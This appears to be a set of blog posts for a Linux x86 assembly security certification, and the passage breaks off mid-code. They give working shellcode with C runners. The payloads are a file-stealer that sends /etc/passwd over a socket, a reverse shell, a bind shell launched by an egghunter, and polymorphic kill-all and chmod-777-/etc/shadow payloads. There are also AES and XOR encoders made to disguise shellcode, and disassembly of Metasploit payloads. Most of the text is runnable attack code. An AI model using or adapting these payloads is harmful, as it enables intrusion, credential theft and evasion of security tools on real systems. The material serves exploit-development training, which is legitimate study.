SLAE: Shellcode read and send file

Because it is so much fun I developed a shellcode, that reads /etc/passwd and then sends the content to 127.1.1.1 port 12345. And here it is:

shellcode.c

/*
; Author: Daniel Sauder
; Website: https://govolution.wordpress.com/about
; License http://creativecommons.org/licenses/by-sa/3.0/

; Shellcode reads /etc/passwd and sends the content to 127.1.1.1 port 12345. 
; The file can be recieved using netcat:
; $ nc -l 127.1.1.1 12345

section .text

global _start

_start:
	; socket
	push BYTE 0x66    ; socketcall 102
	pop eax
	xor ebx, ebx 
	inc ebx 
	xor edx, edx
	push edx 
	push BYTE 0x1
	push BYTE 0x2
	mov ecx, esp
	int 0x80
	mov esi, eax

	; connect
	push BYTE 0x66 
	pop eax
	inc ebx
	push DWORD 0x0101017f  ;127.1.1.1
	push WORD 0x3930  ; Port 12345
	push WORD bx
	mov ecx, esp
	push BYTE 16
	push ecx
	push esi
	mov ecx, esp
	inc ebx
	int 0x80

	; dup2
	mov esi, eax
	push BYTE 0x1
	pop ecx
	mov BYTE al, 0x3F
	int 0x80
	
	;read the file
	jmp short call_shellcode
	
shellcode:
	push 0x5
	pop eax
	pop ebx
	xor ecx,ecx
	int 0x80
	mov ebx,eax
	mov al,0x3
	mov edi,esp
	mov ecx,edi
	xor edx,edx
	mov dh,0xff
	mov dl,0xff
	int 0x80
	mov edx,eax
	push 0x4
	pop eax
	mov bl, 0x1
	int 0x80
	push 0x1
	pop eax
	inc ebx
	int 0x80
	
call_shellcode:
	call shellcode
	message db "/etc/passwd"
	
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

For using it, start netcat on the attacking machine:

$ nc -l 127.1.1.1 12345

After executing the shellcode, the output is:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
... SNIP ...

Get the code.

Update: This can be found on shell-storm.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

SLAE Assignment 7: Crypter

This is the last one and it is about writing a crypter/decrypter. I used python and pycrypto for this task. The execve shellcode starts a shell. The scripts use AES for encryption and decryption.

Here is the code for encryption:

encode.py

from Crypto.Cipher import AES

plain=("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

obj=AES.new('Passphrase123456', AES.MODE_CBC, 'IVIVIVIVIVI12345')
l=len(plain)
r=l%16
p=16-r
print "offset: " + str(p)
plain = plain+"A"*p
ciph=obj.encrypt(plain)
encoded=""
for x in bytearray(ciph):
	encoded += '\\x'
	enc = '%02x' % x
	encoded += enc  
	
print encoded

The output shows first the offset, that is needed to encrypt the shellcode properly. This is needed later in the decryption code.

The offset and the encrypted shellcode have to be adapted in the decryption code. And here is the decryption code:

decode.py

from Crypto.Cipher import AES

offset=7
ciph=("\x2c\x5a\xd5\x5f\x2d\x16\xb6\xb9\x68\x30\x90\x9f\xc9\x6d\xa5\x45\x8a\x08\x01\x2e\xe6\x60\x5b\x9f\x23\xb4\xc5\xaa\x77\x0f\x8a\x7f")

obj=AES.new('Passphrase123456', AES.MODE_CBC, 'IVIVIVIVIVI12345')
t=obj.decrypt(ciph)
decoded=""
for x in bytearray(t) :
	decoded += '\\x'
	enc = '%02x' % (x & 0xff)
	decoded += enc	
	
print decoded[0:-offset*4]

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

SLAE Assignment 6: Polymorphic Shellcode

This assignment is about writing polymorphic versions of shellcodes downloaded by shell-storm.org.

Kill all Processes Shellcode

I want to start with a simple one, a shellcode for killing processes which can be found at http://www.shell-storm.org/shellcode/files/shellcode-212.php.
Here is the original assembler code:

killall_orig.nasm

section .text

      global _start

_start:
; kill(-1, SIGKILL)

     push byte 37
     pop eax
     push byte -1
     pop ebx
     push byte 9
     pop ecx
     int 0x80

And this is my version:

killall.nasm

section .text

      global _start

_start:
; kill(-1, SIGKILL)

     xor ecx, ecx
     mul ecx
     mov al, byte 37
     dec ebx
     mov cl, byte 9
     int 0x80

The shellcode has the same size like the original shellcode.

chmod /etc/shadow 777

The second example is a shellcode that executes chmod 777 on /etc/shadow. The original code can be found at http://www.shell-storm.org/shellcode/files/shellcode-590.php.
Here is the original code as in the intel syntax:

chmod_orig.nasm

section .text

      global _start

_start:
      xor eax, eax
      push eax
      mov al, 0xf
      push 0x776f6461
      push 0x68732f63
      push 0x74652f2f
      mov ebx, esp
      xor ecx, ecx
      mov cx, 0x1ff
      int 0x80
      inc eax
      int 0x80
      

And here is my version of the code. I used the JMP-CALL-POP technique to change the code.

chmod.nasm

section .text

global _start

_start:
	jmp short call_shellcode
      
shellcode:
	pop ebx
	xor ecx, ecx
	mul ecx
	mov al, 0xf	
	mov cx, 0x1ff
	int 0x80
 	inc eax	
 	int 0x80	

	
call_shellcode:
	call shellcode
	message db "/etc/shadow"

The original shellcode has a size of 33 bytes, mine is 34 bytes long.

Eject cdrom

The original shellcode can be found at http://www.shell-storm.org/shellcode/files/shellcode-563.php.
And here it is:

cdrom_orig.nasm

; linux/x86 eject /dev/cdrom 42 bytes
; root@thegibson
; 2010-01-08
 
section .text
    global _start
 
_start:
    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
    mov al, 5
    cdq
    push edx
    push word 0x6d6f
    push dword 0x7264632f
    push dword 0x7665642f
    mov ebx, esp
    mov cx, 0xfff
    sub cx, 0x7ff
    int 0x80
 
    ; ioctl(fd, CDROMEJECT, 0);
    mov ebx, eax
    mov al, 54
    mov cx, 0x5309
    cdq
    int 0x80

And here is my version:

cdrom.nasm

section .text

global _start

_start:
	jmp short call_shellcode
      
shellcode:
	; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
 	pop ebx
 	xor ecx, ecx
 	xor eax, eax
 	mov al, 5 
	mov cx, 0xfff
	sub cx, 0x7ff
	int 0x80	

	; ioctl(fd, CDROMEJECT, 0);
	cdq
	mov ebx, eax
	mov al, 53
	inc eax
	mov cx, 0x5309
	int 0x80	
	
	; exit
	mov al, 1
	xor ebx, ebx
	int 0x80
	
call_shellcode:
	call shellcode
	message db "/dev/cdrom"	            

As in the previous example I used JMP-CALL-POP for changing the code. Furthermorre I changed order of the instructions and changed a value and incremented it afterwards. Also I added the exit function, which was not necessary in the previous example.
Size of the original shellcode is 42 bytes, mine is 53 bytes long.

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

SLAE Assignment 5: Shellcode Analysis

Assignment five is about analyzing three different shellcodes, created with msfpayload for Linux/x86.

linux/x86/exec

I choosed the linux/x86/exec shellcode as first example.

With:

$ msfpayload linux/x86/exec cmd="ls" R | ndisasm -u -

it is possible to disassemble the shellcode:

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E803000000        call dword 0x20
0000001D  6C                insb
0000001E  7300              jnc 0x20
00000020  57                push edi
00000021  53                push ebx
00000022  89E1              mov ecx,esp
00000024  CD80              int 0x80

I will now comment the relevant lines of the shellcode.

00000000  6A0B              push byte +0xb
00000002  58                pop eax

EAX is set to 0xb = 11. This is the number for execve:

$ grep 11 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve              11
... SNIP ...
00000003  99                cdq
00000004  52                push edx

Set edx to zero and push it in the stack for termination.

00000005  66682D63          push word 0x632d

This pushes “-c” on the stack.

00000009  89E7              mov edi,esp

Move the stackpointer to EDI. So EDI is pointing to “-c”.

0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp

Push /bin/sh to the stack and move the stackpointer to EBX. EBX is pointing to “/bin/sh”.
It can be seen, that the ls command is not executed directly. A shell is called with the -c option. From the bash man page:
“-c string If the -c option is present, then commands are read from string. If there are arguments after the string, they are assigned to the positional parameters, starting with $0.”

00000017  52                push edx

Push some zeros again.

00000018  E803000000        call dword 0x20

This one jumps to 0x20.

00000020  57                push edi
00000021  53                push ebx
00000022  89E1              mov ecx,esp
00000024  CD80              int 0x80

EDI (-c), EBX (/bin/sh) and are pushed on the stack, ECX is moved to ESP and the function is called.

Now here comes the interesting part. It is not possible to get the command “ls” from debugging with gdb nor analyzing it with libemu. But the ls (as hex: 6c 73) command is in the code.

0000001D  6C                insb
0000001E  7300              jnc 0x20

I think that the ls is pushed on the stack too, although the debugger does not notice anything of that… hmpf.

So maybe libemu can help us here.

For analyzing the shellcode with libemu I use:

$ msfpayload linux/x86/exec cmd="ls" R | sctest -vvv -Ss 100000 -G Exec.dot

The ls command should be executed. The output is showing exactly how the execve call is build.

... SNIP ...
[emu 0x0x8f3e088 debug ] Flags: 
int execve (
     const char * dateiname = 0x00416fc0 => 
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb0 => 
               = 0x00416fc0 => 
                   = "/bin/sh";
           = 0x00416fb4 => 
               = 0x00416fc8 => 
                   = "-c";
           = 0x00416fb8 => 
               = 0x0041701d => 
                   = "ls";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;
... SNIP ...

Here it can be seen, that the “ls” command is on the stack too.

From the Exec.dot file a diagram can be made for illustrating the programm execution.

dot Exec.dot -Tpng -o Exec.dot.png

Exec.dot

That was it for the first shellcode.

linux/x86/shell_bind_tcp

For the second shellcode to analyze I choosed linux/x86/shell_bind_tcp. Disassembling works as follows:

$ msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

And here is the output from the libemu analysis.

$ msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | sctest -vvv -Ss 100000 -G shell_bind_tcp.dot
... SNIP ...
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fc2 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 16;
) =  0;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000010 => 
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb2 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416faa => 
               = 0x00416fb2 => 
                   = "/bin//sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;
... SNIP ...

I analyze the relevant parts of the shellcode, I will use both, the disassembly and the libemu output for further explanation.

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80

First the EBX and the EAX registers are filled with zeros. EBX is pushed on the stack, then EBX is set to one and again pushed on the stack. After this two is pushed on the stack. After this the stack address is set to ECX, and EAX is 66. This is the syscall (102) for the socketcall function, which is called afterward. In this case the socket() functions is executed. The rorresponding libemu output:

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80

To shorten things a little, this part calls the bind function (which is EAX syscall 102 and EBX 1 = SYS_SOCKET = socket() ).
This correspondence with the libemu output (the whole output can be seen below).

int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fc2 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 16;
) =  0;

5c11 is port 4444 btw.

00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80

Here EAX = ffffff66 and EBX = 4, this is defining the listen() function.

$ less /usr/include/linux/net.h | grep 4
#define SYS_LISTEN      4               /* sys_listen(2)                */

Here is the libemu output:

int listen (
     int s = 14;
     int backlog = 0;
) =  0;
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80

EBX is now 5, which defines the accept function…

int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000010 => 
         none;
) =  19;
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32

EAX = 3f = 63, this is the syscall for dup2.

$ grep 63 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_dup2                63

This procedure is repeated until ECX=0, so we have any descriptor included.

0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

Finally we have the execve call. This works pretty much as in the analysis of the linux/x86/exec shellcode.

int execve (
     const char * dateiname = 0x00416fb2 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416faa => 
               = 0x00416fb2 => 
                   = "/bin//sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

I also used the debugger for analyzing the shellcode, but I think the output there is no more help.

And finally the flowchart.

$ dot shell_bind_tcp.dot -Tpng -o shell_bind_tcp.dot.png

shell_bind_tcp.dot

So that was it for the second analysis.

linux/x86/read_file

So let us start by disassembling the shellcode:

$ sudo msfpayload linux/x86/read_file PATH="/etc/passwd" R | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

Libemu and sctest did not work for me. So I will only look at the disassembly and debugging.

First things first: The shellcode is using the JMP-CALL-POP technique. This can be seen very good by stepping throught the code but also by having a look at the disassembled code.

00000000  EB36              jmp short 0x38

Jump to address 0x38.

00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

Call 0x2. Be aware 3D – 48 is a data section. Here is nothing else as the path: /etc/passwd.

00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80

Move 5 to EAX for syscall 5, which is open(). Point EBX to /etc/passwd, and execute. Return the file descriptor to EAX, for example 3.

0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80

Here the syscall for read() is executed. For this, EAX and EBX are set to 3. EBX contains the file descriptor, ECX points EDI. EDX which presents the size is set to 1000.

0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80

So finally the result is written (syscall 4 is write()) to the standart output.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

And exit.

So that was it for the last analysis.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

SLAE Assignment 4: Custom Encoder

This one is about building a custom encoder and decoder. For this I used an insertion / XOR encoder, that splits the shellcode into bytes and inserts a random value. Further the shellcode is decoded using xor with the random value. This way, we have a shellcode, that has nothing to do with the original shellcode anymore.

|shellcode1|shellcode2|shellcode3|...
The shellcode is encrypted with a randomvalue
encryptedshellcode1 = shellcode1 ^ randomvalue1
encryptedshellcode2 = shellcode2 ^ randomvalue2
...
The encrypted insertion shellcode:
|encryptedshellcode1|randomvalue1|encryptedshellcode|randomvalue2|encryptedshellcode3|randomvalue3|...

For encoding I use the following python script.

customencoder.py

#!/usr/bin/python

# Python Insertion Encoder 
import random

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

print 'Original Shellcode Len: %d' % len(bytearray(shellcode))

encoded = ""
decoded = ""

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :
	# encoding
	rd=random.randint(1,255)
	encoded += '0x'
	enc = '%02x' % (x ^ rd)
	encoded += enc + ","
	encoded += '0x%02x,' % rd
	
	# test the decoding process
#	decoded += '\\x'
#	decoded += '%02x' % ( int(enc,base=16) ^ rd)


print encoded

#print 'Decoded shellcode ...'
#print decoded

The decoding process works as following:

|encryptedshellcode1|randomvalue1|encryptedshellcode2|randomvalue2|encryptedshellcode3|randomvalue3|...
shellcode1 = encryptedshellcode1 ^ randomvalue1
shellcode2 = encryptedshellcode2 ^ randomvalue2
...
The result:
|shellcode1|shellcode2|shellcode3|...

And here is the referring assembler code.

customdecoder.nasm

global _start			

section .text
_start:

	jmp short call_shellcode

	
decoder:	
	pop esi
	lea edi, [esi]
	xor eax, eax
	xor ebx, ebx
	xor ecx,ecx

	
decode: 
	mov bl, byte [esi + eax] ; get shellcode	
	mov cl, byte [esi + eax + 1] ;get the key
	xor bl, cl ; decode the shellcode
	mov byte [edi], bl
	mov bl, byte [esi + eax +2]  
	xor bl, 0xaa  ;marker for the end of the shellcode
	jz short EncodedShellcode ; if marker > exec shellcode
	inc edi
	add al, 2
	jmp short decode	



call_shellcode:
	call decoder
	EncodedShellcode: db 0x28,0x19,0xae,0x6e,0x78,0x28,0xc3,0xab,0x38,0x17,0x7f,0x50,0x02,0x71,0xff,0x97,0x05,0x6d,0x90,0xbf,0x3a,0x58,0x14,0x7d,0x76,0x18,0xf4,0x7d,0x35,0xd6,0xcf,0x9f,0xd7,0x5e,0xec,0x0e,0x96,0xc5,0x95,0x1c,0x72,0x93,0xa8,0x18,0xc0,0xcb,0xf9,0x34,0x9e,0x1e,0xaa

As you can see, I added 0xaa to the end of the shellcode, it is used as a marker. When the decoder reaches 0xaa the shellcode can be executed.

For a demonstration the shellcode has to be extracted like in the other blog posts. Then the following C code can be used.

shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x22\x5e\x8d\x3e\x31\xc0\x31\xdb\x31\xc9\x8a\x1c\x06\x8a\x4c\x06\x01\x30\xcb\x88\x1f\x8a\x5c\x06\x02\x80\xf3\xaa\x74\x0a\x47\x04\x02\xeb\xe7\xe8\xd9\xff\xff\xff\x28\x19\xae\x6e\x78\x28\xc3\xab\x38\x17\x7f\x50\x02\x71\xff\x97\x05\x6d\x90\xbf\x3a\x58\x14\x7d\x76\x18\xf4\x7d\x35\xd6\xcf\x9f\xd7\x5e\xec\x0e\x96\xc5\x95\x1c\x72\x93\xa8\x18\xc0\xcb\xf9\x34\x9e\x1e\xaa";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And it is running:

$ ./a.out 
Shellcode Length:  92
$ exit

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

SLAE Assignment 3: Egghunter Demo

This assignment is about writing a working demo of an egghunter. An egghunter code is basically a piece of code that is searching for a code word (the egg) in the memory. When the egg was found, the egghunter code jumps to the address behind the egg and executes the code at this address. For further explanation read:
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
I used the second example (access revisited) for building my egghunter.

First the egghunter code:

egghunter.nasm

global _start

section .text

_start:
  xor edx,edx
  
doloop:
  or dx,0xfff
  
nextaddr:  
  inc edx
  lea ebx,[edx+0x4]
  push byte +0x21
  pop eax
  int 0x80
  cmp al,0xf2
  jz doloop
  mov eax,0x50905090
  mov edi,edx
  scasd
  jnz nextaddr
  scasd
  jnz nextaddr
  jmp edi
  

And the demo code:

poc.c

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

// add some data
char stuff[] = "Eat my shorts";

// bind shellcode
unsigned char shellcode[] = \
"\x90\x50\x90\x50"  //egg
"\x90\x50\x90\x50"  //egg
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(shellcode));
	printf("Egghunter Length:  %d\n", strlen(egghunter));
	
	int (*ret)() = (int(*)())egghunter;
	ret();
}

When this is executed, the bind shell is up. For the shellcode I used the bind shellcode from assignment 1, but any shellcode can be used here. Compiling and extracting the shellcode is the same as in assignment 1 and 2, so I won’t repeat the procedure here.

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

SLAE Assignment 2: Reverse Shell

What it is about:

•  Create a Shell_Reverse_TCP shellcode
– Reverse connects to configured IP and Port
– Execs shell on successful connection
•  IP and Port should be easily configurable

Here is the C code I used for prototyping the assembler code:

reverseshellds.c

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
  int sockfd;
  struct sockaddr_in target;

  target.sin_family = AF_INET;
  target.sin_port = htons(12345);
  target.sin_addr.s_addr = inet_addr("127.0.0.1");
  
  sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr));

  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);

  execve("/bin/sh", NULL, NULL);
}

And here is the assembler code. The IP address is pushed as hex.

reverseshellds.nasm

global _start

section .text

_start:

  ; socket
  push BYTE 0x66    ; socketcall 102
  pop eax
  xor ebx, ebx 
  inc ebx 
  xor edx, edx
  push edx 
  push BYTE 0x1
  push BYTE 0x2
  mov ecx, esp
  int 0x80
  mov esi, eax

  ; connect
  push BYTE 0x66 
  pop eax
  inc ebx
  push DWORD 0x0101017f  ;127.1.1.1
  push WORD 0x3930  ; Port 12345
  push WORD bx
  mov ecx, esp
  push BYTE 16
  push ecx
  push esi
  mov ecx, esp
  inc ebx
  int 0x80

  ; dup2
  mov esi, eax
  push BYTE 0x2
  pop ecx
  mov BYTE al, 0x3F
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80 
  
  ; execve
  mov BYTE al, 11   
  push edx 
  push 0x68732f2f  
  push 0x6e69622f  
  mov ebx, esp 
  push edx   
  mov edx, esp  
  push ebx 
  mov ecx, esp  
  int 0x80

Here I used 127.1.1.1 to avoid null bytes.

The program can be compiled and the shellcode can be extracted as shown in the course:

$ nasm -f elf32 reverseshellds.nasm
$ ld reverseshellds.o
$ objdump -d ./a.out|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

For a proof concept, the following C programm can be used:

shellcode_reverseshellds.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
